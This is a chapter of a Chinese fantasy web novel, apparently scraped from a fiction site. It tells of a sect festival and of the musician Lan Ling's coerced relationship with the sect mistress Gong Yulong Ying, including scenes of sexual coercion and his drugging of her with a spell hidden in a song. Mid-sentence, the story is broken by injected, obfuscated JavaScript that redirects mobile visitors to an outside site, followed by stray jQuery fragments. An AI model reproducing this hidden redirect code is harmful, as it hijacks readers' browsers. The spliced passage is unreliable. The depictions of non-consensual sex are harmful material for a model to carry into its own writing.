36. 武峰大典(贰)

作品:《慢着师父,我是你师尊!

    比试结束,主持者宫榷亲自公布“与君三会”离现在还有两个时辰,大家都在五行宫内休憩打发时间。


    五行宫高五层、宽十间,从上往下可以看见规整的五角形状,每角颜色不一,分别代表着五行,整座行宫可以容纳几百号人。


    潇泉在二楼雅间听着琴曲,发觉琴曲有点奇怪,清高而不附世俗,需有同道知音欣赏,不然在不懂欣赏的人面前只会平添忧郁。正如旁侧坐着发呆的小乔,她捂着双耳,不知是不是旁观太久太累的缘故,眼神有点呆滞。


    潇泉时而摸她头,时而捏她脸,尝试静心感受琴意,指尖轻轻在几面敲打节奏,“这风格曲调不像是为大众所奏,难道是明海楼的那位遮面琴师?”她重生已有几月,对许多奇闻异事都略有耳闻,包括以乐曲闻名的明海楼及身怀绝技的几位琴师。


    闻尘坐在对面,“正是。”


    潇泉轻吟了半段,“这琴师技术不错,宫榷眼光可以,难得没做煞风景的事。”


    闻尘似是也认可她所说的,道:“他叫蓝凌。”


    “蓝凌?”


    将此名熟记于心的宫璃听清琴声,追出雅间来到楼道栏杆边趴看,轻喃:“他怎在此……”


    琴声是从二楼高台的屏风之后传出,只闻其音不见其人,少年静听顷刻,等琴声消停,隐隐看见屏风后方好像有人影在动,快步赶去。


    “让一让,不好意思。”宫璃穿过仙群找到楼梯口准备下去,没走几步,一名头戴斗笠的青衣男子拾阶而上。


    “蓝凌公子?”宫璃退回原地喊道。


    蓝凌抬头,扶着斗笠上来,应道:“宫二公子。”


    宫璃眼中尽是见到熟人的惊喜,尽管二人只有一面之缘,但他仍觉高兴,道:“您怎么也来了?”


    昆仑仙门圣地鲜少出现凡人之躯,一般为仙君在山下结缘的贵客,或是有事请上来的。这个道理少年不会不懂,他问:“是我哥请你们过来的?”


    蓝凌微笑点头,“宫大公子有意相邀,我们明海楼又和宫家有萍水相逢之缘,自是要来。”


    宫璃试探问:“既然如此,不如蓝凌公子进我雅间坐坐?”


    蓝凌不动分毫,并解释道:“二公子,我们有规定不能去贵客的私人之地。”


    宫璃怪道:“那为什么之前你可以来我们宫家?”


    “那是经过我们楼主和宫主批准的谢宴,本质不同。”蓝凌略一思索,决定把话当面说清,“宫二公子,我们靠卖艺吃饭,身份低贱,你再怎么觉得我本人亲切,都不要忘了自己的身份,尽量和我保持距离。万一养成习惯,日后碰见心肠坏的外人,可能会借着你的运气扶摇直上,到时你的气运会受损。”


    宫璃反驳,“我不傻,可以通过相处感知哪些人的心思肮脏干净,你不用担心我。我知道你是为我好,也知道你不会利用我。你和那些阿谀奉承之人不一样,我看得出来。”


    白莎斗笠之下一片安静,蓝凌伫立原地,不为所动。


    对方意志坚决,宫璃没有强人所难,妥协道:“雅室不行,公席呢?”


    蓝凌:“可以。”


    宫璃嘻嘻两声,带人入座,没聊两句,一名仙侍捧着几株颜色艳丽、形状饱满的木槿花过来换下玉瓶里的旧花。


    “这花不错。”


    潇泉抚摸着花瓣,“没想到百年过去,昆仑竟变得如此风情。”


    说到这个,她想起发生变化的不止是“昆仑现花”,观赏木槿的双眼不经意扫向对面。


    闻尘似是感应到她眼神,看过来道:“不是昆仑,是主持方。”


    潇泉回视,“这么说来,每一届的武会大典都有新鲜把戏?上一届是谁主持的?”


    闻尘:“玄武门主之徒,何遥。”


    “何遥?”潇泉吃惊,“你不说,我都快忘记这号人物了。他如今在做什么?”


    闻尘:“掌管北地玄武,职镇守。”


    北地玄武隶属玄武门重地之最,蕴藏万千灵气,有四方玄武石像坐镇,需精通玄武门秘法的内徒号令,是为镇守。


    潇泉回应知晓。不说这位酒友,原来在青泽修行的师弟师妹被白清鸣放归山下,他们成仙的成仙,当家的当家,游历的游历,全都背着行囊去往他乡,不知何年得见。


    “你师叔们近年可好?你们……”潇泉稍顿,“有来往吗?”


    “有。”闻尘话语平静,“逢年过节会聚一聚。”


    多余的不说,不必的不问。假如没有白清鸣的指令,他们待在青泽怕是得被人戳一辈子的脊梁骨,不如放归人间,自行修行。当来日有缘,必会相见。


    至于闻尘选择留在青泽的缘由,潇泉似乎知道,似乎不知,一直没问,是觉得这个话题沉重,细问像在揭人伤疤。


    有时候关心不一定非要问出口,其实两个人面对面相坐,一个微笑,一个眼神,便能心领神会。


    旁边小乔已经酣睡,潇泉轻轻拍着她背,声音轻轻:“今年过年呢?”


    雅间之外喧嚣不断,室内两人仿若隔绝在外,不论对方声音多小,都能听得一清二楚。


    闻尘问她:“你想怎么过?”


    过年这等重要佳节,潇泉不敢随意,道:“就按现在的习俗来吧,我没什么特别想要的……你呢?”


    “有。”闻尘说道。


    潇泉身形一顿,惊奇看去,青年安静地望着栏杆外面的喧闹,眉眼多了一份惬意安详。


    其实比起目睹他任劳任怨、垂名仙史,她更喜欢看他无忧无虑地生活,偶尔露一露笑容,足矣。


    潇泉没有继续追问,微微一笑,只觉这片刻的宁静无比舒适,仿佛只要稍微再靠近一点,便能触摸幸福。


    五行宫的热闹逐渐褪去,赏花玩乐的人少了许多,多数人进入静心休憩的状态,但轻松气氛在某一刻白色花瓣散落满天时变得紧绷。


    一队排场不大却气势逼人的行伍不疾不徐进入行宫,她们白衣红带,容蒙面纱,除了飘动的宽袖有点活人气息,表现举止如若精致木偶。


    行伍中间举着一抬圆形白纱轿辇,窥不见其人,不过大家皆知此人身份,故停乐止声朝她行礼。


    但凡见惯这个家族阵仗的人都晓得今日阵仗实为低调,只是这些女子的行头气派异于常人,所以从她们进门到四楼雅间的路上备受万众瞩目。


    宫璃自是不瞎,正想着要不要上前打招呼,瞥见朝这边走来的宫榷,起身问道:“哥,母亲怎么来了?你请的?”


    宫榷想说什么又止住,最后轻飘飘道:“不是。”


    宫璃:“那母亲来这儿……”


    “不关你事,小孩子少问。”宫榷越过他身,朝里面伸臂,“蓝凌公子,请随我来一趟。”


    蓝凌没有意外,神情淡然,起身朝他一礼,“有劳宫大公子带路。”


    宫璃点头,又对少年道:“你要是闲得无聊,就去找青泽那个面瘫,我有空再来。”


    不等回话,他速速带着蓝凌离开,宫璃气得咽回问话,对他风急火燎又稳重的背影哼道:“什么青泽面瘫,又骂人家,整得你脸色有多好似的,嘁。”


    他眼睛很不老实地偷瞟他们去往何方,还没看到底,对面男人像是背后长眼一样,扭头狠狠警告他一眼。宫璃吓得一哆嗦,转溜去寻百里大人和姐姐了。


    五楼在客栈中当属天字号楼,有结界隔绝,不容常人经过,极为僻静。蓝凌一路随宫榷来到其中一所房间门口,先有宫榷出声禀报,然后再是他拱手行礼。


    人已带到,宫榷没有滞留,最后朝蓝凌抱拳,静步退下。蓝凌目送他离开,自己却停在门前岿然不动,等着房门不推自开。


    一缕熟悉又陌生的清香袅袅飘出,蓝凌面不改色跨门而入,甫一进去,门便自己合了。


    雅室外厅敞开的花窗正对青山绿水,风清明亮,轻轻呼吸、寥寥几眼便觉神清气爽,是一个休憩养神的好地方。


    寝间由紫色垂珠帘相隔,里面情景若隐若现,可以看见榻上靠着一位女子,姿态慵懒矜贵。


    蓝凌立在室厅,隔着浅紫纱帘,朝寝间方向拱手行礼,“蓝凌拜见宫主。”


    寝间传来女子清音:“本宫还以为,你不会应见。”


    蓝凌垂首,“宫主于明海楼有恩,蓝某作为楼内一员,自要应见。”


    “哦?你真这样想?”微风拂起纱帘,宫玉泷英清冷的面庞一现而过,“可直觉告诉本宫,你不想见。”


    蓝凌:“直觉未必全对。”


    宫玉泷英没有回答,慢慢从榻上坐起,盯着帘外人影,“抬头。”


    蓝凌始终不动,哪怕斗笠白纱遮着脸面可以窥视,他仍一眼不瞥。寝间的人自是清楚,冷脸扬袖,隔绝两人的纱帘霍然飞向两边挂着。


    女人一袭宽袖黑袍,满裙红桃飘地,腰间红绳系着一枚墨绿玉佩,下垂金铛流苏,配着高挑身材别有一番凌厉风味。细看面容,她淡妆轻抹,眉目无情,内里透着一股冷意,唯有那双眼睛似乎残留着丝丝柔情。


    这副一尘不染的皮囊不论看多久都不会乏味,始终觉得干净,可蓝凌依旧垂着眼皮,没有看她。


    “斗笠摘了。”宫玉泷英缓步走得没有一点声音。


    蓝凌好似没有听见,立着不动。宫玉泷英没有恼怒,幽步路过他身侧,仅仅挥一挥袖,斗笠便飞落在地。


    那是一张清瘦苍白的容颜,眉目如画,仔细一瞅,还与宫二公子有着几分神似,只是他现在垂眼淡漠的样子与朝气蓬勃的少年大有不同,有着成人的沉稳内敛。


    宫玉泷英毫不避讳打量他的眼神,从前面转到后面,声音听着不似关切:“好像又瘦了。”


    她衣领裹得并不严实,露着一截洁白脖颈和精致锁骨,背部还有一只不完整的红色图腾,剩余部分全被衣服遮挡。从形状结构上看,图腾显然是翼类,再结合家族背景,是朱雀图腾没错。


    蓝凌记不清自己是第几次见过完整的图腾了,如今再见已是麻木,抱着木琴冷冷看她。


    宫玉泷英若无其事似的坐在窗边观赏高山远水,“十四年,这时间的确是久,久到你好像有点忘记当初的承诺了。”


    蓝凌微顿,“我没忘记。”


    宫玉泷英轻托着腮,漫不经心道:“你还有一次机会。不管是他主动找你,还是你主动找他,你都只剩一次机会。事不过三。”


    蓝凌抓紧琴身,沉默半晌道:“我已经答应你此生不赎贱籍,为何还要步步紧逼?”


    宫玉泷英:“我何时允过你们见面?”


    蓝凌:“可是我并未透露我的身份,也从未想过揭露这层关系。”


    宫玉泷英:“你的想法暂且不提,我只问你,他是不是说过想赎你贱籍。”


    她话语带着肯定,蓝凌没有否认,“……是。”


    宫玉泷英冷笑,“一个原本不能见面的人,却因一面之缘博得好感,你觉得这应该吗?我说过,只要你安心待在明海楼,遵守承诺,永不赎籍,我可以保你荣华富贵一辈子。”


    她坐正身体,“倘若你心有异意,触越底线,别怪本宫不念往日情分,一剑杀了你。”


    如果这话放在从前,蓝凌求之不得,但今日心有牵绊,他不敢随便拿性命作赌。


    蓝凌不作声,宫玉泷英微笑着从座位上站起,“杀你易如反掌,可本宫又想到你不能修行长寿,索性作罢,毕竟让你痛快死去,我更想看你痛苦到老。”


    蓝凌:“如果主母远道而来是为了辱我,大可不必。”


    宫玉泷英:“如果这也算羞辱,那不然我做点真正羞辱你的事情?”


    蓝凌蹙眉,“这儿是五行宫,你不要……”话音未落,他又陡然闭嘴。她连昆仑议事堂都不放在眼里,又怎会正视一个小小行宫的规矩?


    不等他回神,宫玉泷英回到榻上侧卧,温柔姿态永远居高临下,眼神睥睨。这副熟悉的画面勾起蓝凌不堪的回忆,一下把他拉回当年。


    那年他不过十六,两年前受妖祸害,自此与修行绝路,为讨生活,自卖到楼中学艺。


    因为经历和性情的缘故,他奏不出世人喜闻乐见的乐曲,少有登台机会,卖艺的钱不足以连续治病,只能攒一阵治一次,而断断续续地治病不能有效根治身体疾病,所以他一直处于虚弱状态,勉强活着一口气。


    身体不好,又挣不了钱,明海楼没有踢他出门已算仁义,不可能把金钱精力花在他的身上。


    事情迎来转机是在蓝凌最后一次出演那晚,他强撑着走回房间慢慢躺下休息,只觉这一辈子将到尽头,临了却有人推开房门说有位贵人要听他一曲,豪掷千金让他一夜成名。


    这位贵人并非明海楼的熟客,只会停步暂听一曲,恰逢他最后一次登台,欣赏其曲,故而说要见人。可惜人病卧在床,起不得身,见不了人,明海楼无奈向金主禀明,金主大方送出一粒丹药,说不论如何都要见到本尊。


    那天雪夜,蓝凌裹着并不怎么保暖的冬衣,抱着一把普通得再不能普通的木琴来到天字号房对着一面屏风弹奏,弹到头晕目眩,琴弦铮断,指尖流血,屏风之后的人方才喊停,过来给他一个精致匣子,说是金主的报酬。


    这盒匣子盛放的东西够他活下半辈子,也够他去医馆拿上好的药材治病。蓝凌无以为报,当夜跪拜送行。


    没人知道金主身份,金主也不愿透露,每次听琴都坐在屏风之后,留着一名女子侍奉。


    蓝凌从不好奇,也不打听。


    这样的关系一直保持到来年开春,他再次抱琴入座准备弹指,屏风之后有女声拦道:“琴带上来。”


    他压住心中茫然,听话照做,坐在原位听着屏风后面传来悠长缥缈的琴声。


    原来她也会弹琴,他第一次聆听。


    有时两人会隔着屏风交流琴技,此外对方还会慰问蓝凌的身体状况,蓝凌总说在慢慢变好,只是疾病落根,一时难除。


    再后来,蓝凌经常被请出明海楼,弹琴的地方一次比一次陌生,所见所闻也一次比一次深奥。


    他以为和对方的关系止步于此,不曾想是另一个深渊的开始。


    那日,蓝凌照常负琴履约,初见女子面容,微微心惊,强行镇定坐弹幽曲。意外的是,这次演奏没有走到最后,他又收到一盒精致匣子,里面装着一颗仙丹,说能根除旧疾,长命百岁。


    唯一条件是,用他来换。


    蓝凌坐在席上久久没有回音,不知要如何抉择,没有答应没有拒绝。


    女子当是默认,走到他面前,拂开桌上木琴,问道:“会不会?”


    蓝凌怔住,不由说道:“明海楼卖艺不卖身。”


    他起身就要去捡掉在地上的木琴,女主反手拦住,把他按在桌上,“与本宫一起如何算得卖身?你是在说自己贱还是本宫贱?”


    蓝凌回答不了,两只手腕被捏得发白吃痛,后背不停冒冷汗,整个人难受得想流眼泪,所幸上方女子见好就收,他没吃太多苦头,缓神回应:“咳咳……我,不会……”


    他想后退,奈何退无可退,女子扣着他的双手致使他无法动弹,“无碍,本宫教你。”


    这一夜蓝凌过得生不如死,内心的屈辱远大于身体的痛楚,恨不能一刀捅穿自己心脏,尽快结束一切。


    他气得咳血,发了高烧,又被医治如初,在这不知名的地方睡了几天几夜,最后被安然无恙送回明海楼。


    几经噩梦醒来,蓝凌陷入恍惚,好不容易打起精神坐在镜前准备梳妆,一看见脖颈胸前的痕迹,脸色登时发白,想起昨晚的荒谬,怒火直上胸腔,拂袖打翻妆台,撑着墙壁发抖。


    那几日他没有登台,没有见客,闭门不出,想要上吊,但不是凳子散架就是白绫自断,买来毒药不是掺假就是发酸,不仅不死还愈发倒霉,越是倒霉越是心累,连死的力气都没有了。


    蓝凌自闭后的第七日,一把上等古琴送至,雕着沉香木,缠着千年丝,说是给他的礼。


    他一言不发把琴摔了,换成一把普通的琴重新登台,万幸没有看见不想看见的人。


    不过这种万幸只停在深夜,子时蓝凌朦朦胧胧感觉有人,睁眼一看,房间不知何时明灯,女子坐在床边望他,见他醒来,伸手蒙住他眼,“芳古琴你也敢摔,真是好大的胆。”


    蓝凌张了张唇,没有说话,感觉一粒药丸滑入咽喉,随后口中苦涩被温凉清香取代。他拧紧眉目,抵着女子,好一会儿才挣脱出来,努力大口呼吸。


    女子凝视他片刻,“当真是个病罐子。”


    蓝凌无力应答。


    也许已经经历,他没有初次那样抗拒,唯有身体承受不住一定程度的痛苦或快感会稍微挣扎,不出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282341|194969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声也不叫喊,独独吸气。似是觉得他承受颇多,女子动作比上次轻缓,还用吻安抚。


    长夜漫漫,蓝凌不记得自己是怎么睡过去的,醒来没见女子身影。换作别人另事,他会以为这段关系到此结束,但对面不是别人,不可能轻易结束。


    他知道,从今往后,他的命运不再由自己主宰,并且还要坦然面对,承认自己是对方养在金笼中的无名宠儿。


    蓝凌心中有恨,不恨不假。他恨自己为什么没有死在那年雪冬,恨自己为什么没有果断拒绝,宁可走得清白也不想活得这么无力。


    事已至此,多悔无用,他尝试接受,尝试习惯,可不管怎么忽视,都没能消除对女子的恨意。


    蓝凌转变态度主动下跪那次,是求她留下腹中胎儿。


    宫玉泷英不会允许家族出现野种,但野不野种只是她一句话的事,与男方身份关系不大。


    蓝凌自知出身贱籍,不敢保证她会不会除掉孩子,抹去尊严苦苦求跪,将近晕厥才听见对方问道:“你为什么一定要留这个孩子。”


    蓝凌说不清楚,应道:“生命珍贵,既然降世,那便留着……我,不要任何名分。”


    宫玉泷英:“不要任何名分,只要孩子活着?”


    蓝凌深吸一口气,“是。”


    宫玉泷英淡笑,“让本宫为你诞子,光这一个条件远远不够,不如再加几条。”


    蓝凌捏紧衣袖,深深闭眼跳入这个火坑,“你说。”


    宫玉泷英细细想道:“不能赎籍,不能自灭,不能相认,但凡有任何一个苗头,本宫不会轻饶。还有,往后如若沾染其他女子,你最好洗干净脖子,本宫会亲自送你上路。”


    蓝凌可以答应所有,唯独“不能相认”之求,迟迟难应。宫玉泷英像是知道他因何而困,给予足够的时间让他思考,接着两人各自履行约定,一个是他人命运的掌控者,一个为他人命运沦为囚徒。


    那段时间蓝凌战战兢兢,言行举止不敢出一点差错,生怕牵连孩子,待孩子降世被抱进宫家正门,他方才安心。


    这种画地为牢的日子一眨眼就是十四年,蓝凌已经习惯,没有想过轻生,没有想过逃跑,日复一日坐在楼中,偶尔幻想孩子长大的模样。


    因为有前车之鉴,所以他对宫玉泷英百依百顺,不会拒绝任何请求,只愿她不要把对自己的憎恶转移到孩子身上。还好宫玉泷英不常光顾,一般觉得心烦气躁才抽空来他这儿听那么一两曲,交集不算频繁,不至于产生厌恶。


    等孩子慢慢长大,蓝凌转为私人幕后,出面必戴斗笠,以防意外发生,哪怕在宫家演奏,也没有妄想摘下。


    他知道自己逃不过女人的眼,一旦摘下,后果难料。


    “愣着干什么?”榻上女子的声音将他的思绪拉回现实,“安神曲。”


    蓝凌望着她带有疲态的面庞,心知她刚从昆仑办事回来,没有多余精力跟他折腾,路过只为听乐一曲,适才那话好像随口一说。


    他敛眉端坐,静心弹琴。


    一曲奏毕,整间雅室分外宁静,榻上女子似已安睡,蓝凌在榻边静坐顷刻,揭下床帏翻了上去。


    听到动静,宫玉泷英睁开双眼,在模糊视线中看见有人俯身而下,凑到近前,呼吸密密。她停顿须臾,抬手抚摸他的发顶。


    那双手掌长年受琴弦摩擦,指间薄茧在雪地留下轻微痕迹,残余的粗糙余温不禁让这地白雪微微震颤。


    当身如沐火、知觉变得清晰时,似乎每一寸肌肤随之燃烧。宫玉泷英蹙紧眉头,一把抓住蓝凌长发,“你疯了?”


    蓝凌不语,似是默认。


    宫玉泷英瞪眼,刚想把人掀翻下去,颈间一痛,紧随而至的安抚有意无意压制心火,挣扎到最后,只剩百般无奈。


    雪地接连苍茫云天,顺风顺水顺君心,偏偏天蒙清尘,望不到顶,错半步,差一尺,直听雪风呼啸。


    宫玉泷英缓缓睁眼,神情冷淡道:“你再放肆,本宫杀了你。”


    一时的折磨何以比一世的凌辱,蓝凌不怯反进,将她翻了个身,“求之不得。”


    像是寒冬厚雪被一颗火种烫穿融化,宫玉泷英咬牙忍耐,想撑起上身,却是徒劳无功,后知后觉,“你在安神曲里面加了什么蛊术?”


    蓝凌跟随她多年,接触颇多,再怎么懵懂无知也会学会一点东西,比如不用修为的蛊术伎俩之类。


    面对质问,他很是淡定,“可以让你睡上好觉的。”


    宫玉泷英没有说话,被结实的臂膀捞成半跪半伏的状态,不免惊觉:原来他根除疾病的身体一直在恢复,力气已如常人那般康健。她额角冒筋,正面朝下,感受着灼热力量在体内涌动,温柔而疯狂,可以夺人神智。


    看着这张熟悉的面孔失去平日的冷威端庄,蓝凌笑不出来,也没有施舍怜悯,仿佛阻止他的只有她的亲口求饶。尽管他清楚,这不可能。


    宫玉泷英从没受过此等待遇,含着耻辱讥讽道:“我还以为你有多正人君子……不过和他们一样。”


    蓝凌慢下身来,把她翻面正对自己,问了一个从没问过的问题:“你和他们,是不是也这样。”


    宫玉泷英不是重欲之人,但也有寻欢作乐之时,与谁全看心情,不会为谁驻足。蓝凌问出这话,不仅明知故问,多少也有自取其辱的意思。


    女人抬眼看他,神容恢复冷淡,眼神似有怜悯,没有讥讽,没有回答。


    蓝凌知道这注定是一个没有答案的问题,圈紧她身,直到雪落红梅,人如浴水,银丝织成绸缎。宫玉泷英似乎忍到极限,别过了头,声音清晰可闻破碎之意:“蓝凌,你放开我……”


    两遍说完,仍未得到回应。宫玉泷英像早有预料,用仅存的意识支撑身体动作,抓住散落枕边的珠钗扎向他心口,还没扎到,钗身随着手中细汗滑了出来。


    蓝凌拿走珠钗放到远处,托起她后颈,鼻尖对着鼻尖,“宫主可曾想过,将来一日,自己会为昔日所做付出代价。”


    宫玉泷英知他说的不是这个代价,是日后能摧毁她精神的事情。关于此论,她暂时想不到结果,无从回应。


    蓝凌端详她水光淋漓的面庞,带她游走在云端之上,执拗问道:“我是谁。”


    宫玉泷英仰头吸着空气,指甲嵌入他手臂皮肤,应道:“李杨……”


    不管他怎么磨,她口中念的全是陌生姓名,不肯屈服丝毫,蓝凌只好放弃,耐心磨平她的凌厉,让她再也说不出刺耳的话,做不出伤人的事。


    最后的最后,蓝凌一人收拾残局,拥她入眠。


    这一觉睡得深沉,醒来之时,雅室恢复如初,一片空荡,唯有枕边留着一支珠钗。


    蓝凌呆坐片刻,起来装束整齐,就要戴上斗笠离开,又蓦地停步,走回榻边,用手帕把珠钗包好揣出了门。


    随身的古琴不翼而飞,蓝凌习以为常,不骄不躁走出五行宫,找到车夫准备回楼。


    车夫乐呵呵地架马启程,朗声道:“宫主耗费重金买走你的旧琴,说明日会给你送个更好的。”


    蓝凌微微一怔,旋即神色如常,掀开帘幕钻进车内,“好,我知道了。”


    车夫瞟一眼天色,“蓝师傅,你在里面待那么久,是不是去给宫主弹安神曲了?大家听说她来之后找不见你,都猜是她把你请了去,不好意思打扰,这才先行离去,你千万别往心里去。再不济,还有我在这儿等你呢。”


    蓝凌垂下眼帘,“多谢。”


    车夫抓紧缰绳甩了两下,“蓝师傅你可别说,放眼整个京都,怕是找不到第二位能入宫主慧眼的琴师了。你少时就进明海楼卖艺吃饭,像你这种和贵客保持十余年来往都不厌不倦的,着实少见。那些贵人大都喜新厌旧,不好伺候,大家很羡慕你。”


    蓝凌无动于衷,漆黑的眼深不见底。


    “哎,这次武峰大典办得不错,百里仙君居然带着刚收的小徒弟现身了。”车夫惊诧,“啧,我咋有一种要变天的感觉嘞?蓝师傅,你怎么看?”


    蓝凌掀开窗帘一角,望着窗外变换如风的景色,“变与不变都与我们无关。我们凡人唯一能做的,就是顾好自己。”


    车夫轻叹道:“也对,那都是神仙的事……蓝师傅坐好,我要快马加鞭了。”


    他猛喝一声,策马奔走起来,带着车内的人远离尘嚣。